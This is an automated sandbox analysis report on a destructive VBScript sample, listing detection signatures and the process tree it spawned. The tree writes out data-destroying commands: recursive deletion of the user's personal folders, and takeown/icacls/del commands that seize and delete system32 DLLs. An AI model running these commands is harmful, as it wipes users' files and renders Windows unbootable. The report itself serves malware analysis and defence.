Analysis

  • max time kernel
    30s
  • max time network
    30s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/08/2024, 21:04

General

  • Target
    script.vbs
  • Size 1KB
  • Sample240809-zwj42sshla
  • SHA256 5c3c530835c081210cc95dd2ff29ed430c3529bc3925b9c8d522b583247a8fe8
  • MD5 SHA1 SHA512
Score
8/10

Malware Config

Signatures

  • Possible privilege escalation attempt 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3356
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs"
      2⤵
        PID:3084
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\desktop >nul && exit
        2⤵
          PID:2248
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\downloads >nul && exit
          2⤵
            PID:1184
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\documents >nul && exit
            2⤵
              PID:2368
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\pictures >nul && exit
              2⤵
                PID:2244
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\music >nul && exit
                2⤵
                  PID:4232
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\videos >nul && exit
                  2⤵
                    PID:4880
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4556
                    • C:\Windows\system32\takeown.exe
                      takeown /f C:\Windows\system32\*.dll
                      3⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4784
                    • C:\Windows\system32\icacls.exe
                      icacls C:\Windows\system32\*.dll /grant Everyone:(F)
                      3⤵
                      • Possible privilege escalation attempt
                      • Modifies file permissions
                      PID:2228

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs

                      • Path C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16script.vbs
                      • Size 63B
                      • SHA256 f9541539fcffbb80e1ef5f3e19983bddc8d30375e8a80d3754a2ec7ec0aa3ea8
                      • MD5 SHA1 SHA512